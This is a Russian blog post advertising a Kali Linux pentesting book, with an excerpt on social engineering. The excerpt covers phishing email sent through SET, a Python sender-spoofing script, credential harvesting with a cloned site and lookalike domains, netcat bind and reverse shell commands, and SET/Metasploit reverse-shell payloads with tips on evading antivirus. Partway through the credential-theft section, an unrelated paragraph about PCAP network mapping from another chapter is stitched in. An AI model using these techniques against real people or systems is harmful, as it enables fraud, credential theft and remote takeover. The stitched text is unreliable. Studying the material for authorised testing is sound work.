Книга «Kali Linux: библия пентестера»

image Как дела, Хаброжители?

Пентестеры должны в совершенстве знать Kali, чтобы эффективно выполнять свои обязанности. В книге есть все об инструментах и способах, которыми пользуются хакеры при взломе систем. Вы научитесь выстраивать надежную защиту от несанкционированного доступа к виртуальным ресурсам. Вне зависимости от уровня подготовки и начинающий, и практикующий пентестер почерпнет важные для себя сведения.

О чем эта книга

Прочитав эту книгу, вы:
● получите полное представление о сотнях инструментов тестирования на проникновение, доступных в Kali Linux;
● освоите весь спектр методов этичного хакинга, чтобы повысить эффективность своей работы и получить желанные сертификаты;
● узнаете, как работает тестирование на проникновение на практике, и восполните пробелы в своих знаниях, чтобы стать экспертом в этой области;
● откроете для себя инструменты и методы, используемые хакерами, знание которых поможет повысить защиту вашей сети.


Атаки методом социальной инженерии


Читая книгу, я обычно ненавижу длинные вступления, в которых не раскрывается тема. Итак, перейдем к делу. В этой главе вы узнаете о социальной инженерии и различных методах, которые помогут вам воспользоваться человеческими слабостями. Обратите внимание: данная книга посвящена обучению принципам, которые вы можете применять в любом инструменте, установленном в Kali Linux.

ЦЕЛЕВЫЕ ФИШИНГОВЫЕ АТАКИ


Что такое фишинг? Это мошенничество с использованием электронной почты, направленное против большого количества жертв; содержит элемент, представляющий общий интерес, который привлечет людей к работе с электронной почтой. Например, письмо может рекламировать бесплатный флакон с лекарством и содержать вредоносную ссылку или вложение. Злоумышленник рискует и полагается на тот факт, что некоторые люди будут щелкать на ссылке или вложении, чтобы инициировать атаку. Большинство из нас, вероятно, удалило бы вредоносное электронное письмо, но мы можем предположить, что некоторые его откроют.

Целевой фишинг — очень специфическая форма фишинг-атаки. Создавая сообщение электронной почты определенным образом, злоумышленник надеется привлечь внимание определенной аудитории (скажем, отдела продаж компании, разработчиков и т. д.).

Например, если злоумышленник знает, что отдел продаж использует определенное приложение для управления отношениями с клиентами, то может подделать электронное письмо, сделав вид, что оно пришло от поставщика приложения, указав в теме «Чрезвычайная ситуация» и выдав пользователям инструкцию щелкнуть на ссылке, чтобы скачать копию, исправление или обновление. Как вы думаете, сколько торговых представителей перейдут по этой ссылке?

Отправка электронного письма


Прежде чем переходить к практическому примеру, осветим два важных момента, которые вы должны знать до того, как отправлять электронное письмо своим жертвам:

● для начала вам необходимо иметь учетную запись SMTP relay (я использую свой сервис ретрансляции GoDaddy). Проведите небольшое исследование, чтобы найти сервис, который вам подходит;

● вам нужна профессиональная и убедительная электронная почта, иначе ваша атака неизбежно потерпит неудачу.

Social Engineer Toolkit


Набор инструментов для социальной инженерии (Social Engineer Toolkit, SET), написанный специалистом по кибербезопасности Дэвидом Кеннеди, предназначен для выполнения сложных атак против человеческих слабостей; такие атаки известны как социальная инженерия. В Kali Linux этот инструмент уже предустановлен по умолчанию. Чтобы запустить его, вам нужно будет выполнить команду setoolkit в окне терминала:

root@kali:/# setoolkit


Чтобы отправить электронное письмо, выберите в первом меню пункт Social-Engineering Attacks (Атаки с использованием социальной инженерии):

Select from the menu:
      1) Social-Engineering Attacks
      2) Penetration Testing (Fast-Track)
      3) Third-Party Modules
      4) Update the Social-Engineer Toolkit
      5) Update SET configuration
      6) Help, Credits, and About
      99) Exit the Social-Engineer Toolkit
set> 1


Затем выберите Mass Mailer Attack (Массовая рассылка писем) (пункт № 5):

Select from the menu:
      1) Spear-Phishing Attack Vectors
      2) Website Attack Vectors
      3) Infectious Media Generator
      4) Create a Payload and Listener
      5) Mass Mailer Attack
      6) Arduino-Based Attack Vector
      7) Wireless Access Point Attack Vector
      8) QRCode Generator Attack Vector
      9) Powershell Attack Vectors
      10) Third-Party Modules
      99) Return back to the main menu.
set> 5


В следующем окне у вас есть возможность отправить это электронное письмо группе людей или одному человеку. Посмотрим, как будет выглядеть наш сценарий атаки на электронную почту.

Для этого примера предположим, что вы, как член красной команды, притворяетесь представителем Microsoft и отправляете электронное письмо администратору (сотруднику, который обслуживает блог компании по этическому взлому), чтобы сообщить, что машина администратора нуждается в обновлении. Электронное письмо содержит вредоносный URL, по которому администратор должен перейти. Целенаправленная фишинговая атака требует тщательного планирования, поэтому подумайте о содержании своего электронного письма, прежде чем отправлять его.

Возвращаясь к нашему меню SET, мы отправим электронное письмо одному человеку. Выберем вариант № 1 и нажмем Enter:

What do you want to do:
      1. E-Mail Attack Single E-mail Address
      2. E-Mail Attack Mass Mailer
      99. Return to the main menu.
set:mailer>1


Мы отправляем это электронное письмо администратору ethicalhackingblog.com. (Однако не забудьте проверить эти упражнения на каком-нибудь адресе, который принадлежит вам.)

set:phishing> Send email to:admin@ethicalhackingblog.com
      1. Use a Gmail Account for your e-mail attack.
      2. Use your own server or open relay
set:phishing>2


Когда вы увидите предыдущие варианты, у вас возникнет соблазн выбрать Gmail, поскольку это бесплатно и вам не нужна учетная запись почтового сервера-ретранслятора, верно? Что ж, если вы попробуете, то Google с радостью заблокирует ваши вложения. Итак, не используйте Gmail. Мы ведь профессионалы, а не хакеры-дилетанты! Мы используем релейную учетную запись, поэтому выберем вариант № 2.

Электронное письмо должно быть получено от Microsoft. Итак, заполните информацию о сервере. (Эта часть должна отражать информацию о вашем сервере, а не о моем!)

На рис. 5.1 показано, как это выглядит, когда администратор получает электронное письмо.

image


Обратите внимание на следующие две вещи в электронном письме:

● грамматические ошибки не допускаются. Например, слово following в этом сообщении использовано неверно, так что это заставит усомниться в подлинности электронного письма;

● если вы хотите использовать URL, то убедитесь, что он близок к реальному доменному имени. Например, micosoft (без r) очень похож на Microsoft.

Отправка электронной почты с помощью Python


Python — отличный язык для выполнения задач при тестировании на проникновение. Позже в данной книге вы узнаете обо всех тонкостях этого языка программирования. На данный момент следующий код показывает, как отправлять электронные письма, не полагаясь на приложение, которое сделает это за вас. Вы можете назвать сценарий sendemail.py и запустить после того, как заполните недостающую информацию:

#Используйте библиотеку smtplib, чтобы отправить e-mail
import smtplib
#Конфигурации
#Ваш e-mail адрес, настоящий
sender_email = [e-mail отправителя]
#Ваше имя для e-mail
username = [имя аккаунта smtp]
#Пароль для вашего e-mail
password = [Ваш пароль SMTP]
#Подделанные данные e-mail
spoofed_email = [ненастоящий e-mail адрес]
#Придуманное полное имя
spoofed_name = 'John Doe'
#e-mail адрес жертвы
victim_email = [e-mail адрес жертвы]
# Тема письма
subject= "Это тема\n"
# Тело вашего письма
body = "This is a body."
header = ('To:' + victim_email + '\n' +'From: ' + spoofed_name + ' <' +
spoofed_email + '>' + '\n' + 'Subject:' + subject)
message = (header + '\n\n' + body + '\n\n')
try:
      session = smtplib.SMTP_SSL([домен smtp-сервера],[номер порта
smtp-сервера])
      session.ehlo()
      session.login(username, password)
      session.sendmail(sender_email, victim_email, message)
      session.quit()
      print "Email Sent With Success!"
except smtplib.SMTPException:
      print "Error: Unable To Send The Email!"


Кража учетных данных


Пришло время раскрыть наиболее выгодный и эффективный метод социальной инженерии, который вы можете использовать для атаки.

Просто предупреждение: это не руководство, которое вы можете использовать против своих друзей, чтобы украсть их пароли. Это профессиональная книга для людей, которые хотят научиться применять данный вид атак в своей работе.

Чтобы начать эту атаку, вам сначала нужно подготовить профессиональное электронное письмо в формате HTML и убедиться, что оно не вызовет никаких сомнений, когда жертва его получит. Разработчик может помочь вам клонировать сайт и прикрепить к нему базу данных, чтобы каждый раз, когда жертвы отправляют свои учетные данные, они сохранялись в этой базе данных. Если вы хотите попрактиковаться, то можете также использовать SET, чтобы выполнить эту задачу.

Откройте и загрузите приложение (вы уже научились запускать приложение ранее) и выполните следующие действия.
1. Выберите вариант № 1: Social-Engineering Attacks (Атаки методом социальной инженерии).
2. Выберите вариант № 2: Website Attack Vectors (Вектор атак на сайты).
3. Выберите вариант № 3: Credential Harvester Attack Method (Атака для сбора учетных данных).
4. Выберите вариант № 2: Site Cloner (Клонирование сайта).

set:webattack> IP address for the POST back in Harvester/Tabnabbing
[10.0.20.140]: [Введите IP-адрес вашей Kali]
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:https: [Введите URL клонируемого сайта]
[*] Cloning the website: https://10.0.20.1/#/login
[*] This could take a little bit...
The best way to use this Attack is if username and password form fields
are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:


В идеале собирать PCAP нужно во время сканирования сети, чтобы проверить, куда дотягивается сканер. Кроме того, следует провести несколько сканирований сети, при этом минимум одна конечная точка в каждой подсети должна сканировать свою подсеть. Эти сканирования можно вручную объединить в топологию карты сети, как показано на рис. 1.4. Определите элементы, которые можно автоматизировать, чтобы этот процесс было легче повторить в будущем.

Посмотрите, насколько полезна будет ваша карта для красной и синей команд. Соберите отзывы, повторите процесс составления и получите карту лучшего качества за меньшее время.

Вторая важная часть — это ссылка, которую вы собираетесь добавить в свое электронное письмо. Как лучше всего скрыть этот URL? Что ж, простой ответ — создать домен, а затем создать поддомен, который является копией исходного. В качестве примера возьмем домен Facebook.com. Чтобы получить успешный результат, создайте поддельный домен с похожим именем, например Fcb.com, а затем создайте поддомен Facebook.com. Вот как это должно выглядеть:

facebook.fcb.com


Я не призываю вас использовать Facebook в вашем тесте. У вас нет разрешения Facebook на выполнение данного действия. Это просто для примера.

На практике красные команды и пентестеры должны будут использовать сайт либо работодателя, либо клиента. Отличный реалистичный пример — клонирование сайта интрасети вашего клиента/работодателя, чтобы вы могли украсть учетные данные домена жертвы. Затем вы отправите электронное письмо своей жертве, как было показано выше. В идеале вы использовали убедительное электронное письмо, побуждающее сотрудников щелкнуть на URL, который перенаправит сотрудников на поддельный сайт. Сотрудники начнут вводить свои учетные данные и после нажатия кнопки входа в систему будут перенаправлены на настоящий сайт. Теперь у злоумышленника есть учетные данные несчастных жертв.

ПОЛЕЗНАЯ НАГРУЗКА И СЛУШАТЕЛИ


В этом разделе вы узнаете, как создать полезную нагрузку и слушатель. Если вы новичок, то ниже описаны основные принципы, которые вам нужно знать, прежде чем продолжить.

Полезная нагрузка — это исполняемый файл, который позволит вам подключиться к слушателю. Цель состоит в том, чтобы установить TCP-соединение между хостом-жертвой и злоумышленником. Как только оно будет установлено, хакер сможет управлять операционной системой жертвы с помощью удаленной командной оболочки (командной строки). Эта удаленная командная оболочка может быть либо прямым шеллом (командной оболочкой), либо обратным.

Прямое и обратное подключение


Прежде чем мы перейдем к следующей главе этой книги, очень важно понять разницу между прямым и обратным подключением. Многие любители и профессионалы в области безопасности имеют неправильное представление об этих двух концепциях. Мы воспользуемся некоторыми практическими примерами, которые помогут вам их понять.

Прямой шелл

В командной оболочке с прямым подключением (bind) злоумышленник подключается напрямую из Kali к машине жертвы, на которой уже запущен приемник (слушатель) (рис. 5.2). В этом сценарии мы будем использовать Netcat для выполнения задачи. Этот инструмент удобен при тестировании на проникновение, решении задач по захвату флага (CTF) и сертификационных экзаменов, таких как OSCP. Мы подключимся напрямую с атакующего хоста Kali к целевому хосту с Windows10.

image


Если вы хотите попрактиковаться в том же упражнении со своей стороны, то двоичный файл Netcat для Windows на Kali находится в /usr/share/windows-binaries/nc.exe. Скопируйте файл nc.exe на свой хост Windows, чтобы воспроизвести результаты.

Затем запустите Netcat в режиме прослушивания, используя параметр -l; кроме того, используйте порт 9999 для прослушивания входящих подключений. После этого используйте ключ -e, чтобы перенаправить вывод командной строки на удаленное соединение:

PS C:\Users\gus\Documents\Shared> ./nc.exe -nlvp 9999 -e C:\Windows\
      System32\cmd.exe
listening on [any] 9999 ...


После запуска слушателя на хосте Windows вернитесь к сеансу терминала Kali и подключитесь напрямую к ОС Windows с помощью Netcat к порту 9999:

root@kali:/# nc -nv 10.0.20.127 9999
(UNKNOWN) [10.0.20.127] 9999 (?) open
Microsoft Windows [Version 10.0.17763.1039]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\gus\Documents\Shared>


Обратный шелл

Шелл с обратным подключением — излюбленный вариант для пентестеров, и вы много прочитаете о нем в данной книге. Метод противоположен прямому подключению. В этом сценарии злоумышленник прослушивает входящие соединения от любой жертвы. Секрет таков: при подключении через обратную командную оболочку брандмауэры обычно пропускают трафик. Вместе с тем брандмауэр может блокировать любые входящие подключения извне на ваш слушатель. Вот почему в сообществе обычно используется обратный шелл (рис. 5.3).

image


Снова попрактикуемся по сценарию с обратным шеллом, используя Netcat. Сначала запустите слушатель Netcat на хосте (Kali в этом примере). Используйте порт 8888 для прослушивания входящих соединений:

root@kali:/# nc -nlvp 8888
listening on [any] 8888 ...


Затем переключитесь на хост Windows жертвы и подключитесь к слушателю на порте 8888 вашей Kali. Обратите внимание, что IP-адрес виртуальной машины Kali — 10.0.20.140:

PS C:\Users\gus\Documents\Shared> ./nc.exe 10.0.20.140 8888 -e C:\Windows\
      System32\cmd.exe


Вернемся к нашему Kali-хосту, где мы должны увидеть успешное обратное подключение.

root@kali:/# nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.0.20.140] from (UNKNOWN) [10.0.20.127] 54479
Microsoft Windows [Version 10.0.17763.1039]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\gus\Documents\Shared>


Обратный шелл с помощью SET

Вы должны быть внимательны при обеспечении защиты своей полезной нагрузки, когда отправляете ее на целевой хост. Другими словами, вы должны убедиться, что ваш исполняемый файл полезной нагрузки не будет обнаружен антивирусным программным обеспечением, установленным на компьютере жертвы. Обязательно скопируйте полезную нагрузку на другой тестовый компьютер, на котором установлен антивирус того же типа. Если вы не знаете, какое антивирусное ПО установлено на хосте жертвы, то вам необходимо загрузить свою полезную нагрузку и просканировать его с помощью общедоступного сайта поиска вирусов VirusTotal (рис. 5.4):

www.virustotal.com/gui/home/upload


image

Лучший способ скрыть вашу полезную нагрузку — использовать собственную. То есть вам нужно разработать полезную нагрузку с помощью такого языка программирования, как Python, PowerShell, C# и т. д. Позже вы узнаете больше на эту тему, но пока посмотрим, как сгенерировать полезную нагрузку с помощью SET.

Сначала запустите приложение SET и выберите следующие параметры.
● Выберите вариант № 1: Social-Engineering Attacks (Атаки методом социальной инженерии).
● Выберите вариант № 4: Create a Payload and Listener (Создание полезной нагрузки и слушателя).
● Выберите вариант № 1: Windows Shell Reverse_TCP (Обратная командная оболочка Windows по протоколу TCP).

Затем вам будет предложено ввести IP-адрес вашего хоста Kali (злоумышленника) и номер порта, который вы хотите прослушивать. Как только вы это сделаете, он сгенерирует полезную нагрузку в /root/.set/payload.exe. Наконец, вам будет предложено запустить слушатель. В нашем примере выберите yes:

set:payloads> IP address for the payload listener (LHOST):10.0.20.140
set:payloads> Enter the PORT for the reverse listener:7777
[*] Generating the payload.. please be patient.
[*] Payload has been exported to the default SET directory located
under/root/.set/payload.exe
set:payloads> Do you want to start the payload and listener now? (yes/
no):yes
[*] Launching msfconsole, this could take a few to load. Be patient...


На данном этапе SET автоматически запускает обработчик запросов Metasploit. Мы углубимся в Metasploit позже в этой книге, и вы увидите, как создать слушатель вручную. SET сделает все за вас без лишних хлопот.

Теперь слушатель должен запуститься и ждать входящих соединений от жертвы:

      =[ metasploit v5.0.85-dev ]
+ -- --=[ 2002 exploits — 1093 auxiliary — 342 post ]
+ -- --=[ 560 payloads — 45 encoders — 10 nops ]
+ -- --=[ 7 evasion ]

Metasploit tip: You can use Help to view all available commands

[*] Processing /root/.set/meta_config for ERB directives.
resource (/root/.set/meta_config)> use multi/handler
resource (/root/.set/meta_config)> set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
resource (/root/.set/meta_config)> set LHOST 10.0.20.140
LHOST => 10.0.20.140
resource (/root/.set/meta_config)> set LPORT 7777
LPORT => 7777
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.0.20.140:7777
msf5 exploit(multi/handler) >


Пришло время отправить полезную нагрузку на виртуальную машину хоста Windows 10 нашей жертвы и выполнить ее оттуда. Обратите внимание, что полезная нагрузка сохраняется в /root/.set/payload.exe.

Затем скопируйте файл payload.exe на хост Windows и дважды щелкните на нем, чтобы запустить его на виртуальной машине Windows. Чтобы это заработало, я должен отключить антивирусное программное обеспечение на хосте Windows 10 перед копированием файла payload.exe.

После того как файл полезной нагрузки будет выполнен на хосте Windows, слушатель Metasploit должен показать успешное соединение. Чтобы увидеть текущий открытый сеанс, используйте команду sessions. Выполнив ее, вы увидите, что есть один открытый сеанс. Чтобы взаимодействовать с этим сеансом, запустите команду sessions -i 1. Как только вы нажмете Enter, у вас будет под рукой обратная командная оболочка Windows:

[*] Started reverse TCP handler on 10.0.20.140:7777
msf5 exploit(multi/handler) > [*] Command shell session 1 opened
(10.0.20.140:7777 -> 10.0.20.127:54501) at 2020-05-22 11:27:38 -0400
sessions

Active sessions
===============

    Id Name Type           Information
Connection
    -- ---- ----           -----------
----------
1      shell x86/windows Microsoft Windows [Version 10.0.17763.1039]
(c) 2018 Microsoft Corporation. A... 10.0.20.140:7777 -> 10.0.20.127:54501
(10.0.20.127)

msf5 exploit(multi/handler) > sessions -i 1
C:\Users\gus\Documents\Shared>


Об авторах
Гас Хаваджа — эксперт по безопасности приложений и тестированию на проникновение. Работает консультантом по кибербезопасности в Монреале и имеет большой опыт сотрудничества с организациями в проектах по защите их активов от кибератак. Является публикуемым автором и онлайн-консультантом.

Кори Болл — эксперт по кибербезопасности с более чем десятилетним опытом. Специализируется на API, веб-приложениях и сетях. В настоящее время имеет более десяти сертификатов по кибербезопасности, включая OSCP, CISSP, CISM и CCISO. Карьерный наставник в Cybrary по вопросам кибербезопасности и автор книги Hacking APIs.


Более подробно с книгой можно ознакомиться на сайте издательства:
» Оглавление
» Отрывок

По факту оплаты бумажной версии книги на e-mail высылается электронная книга.
Для Хаброжителей скидка 25% по купону — Kali Linux

© Habrahabr.ru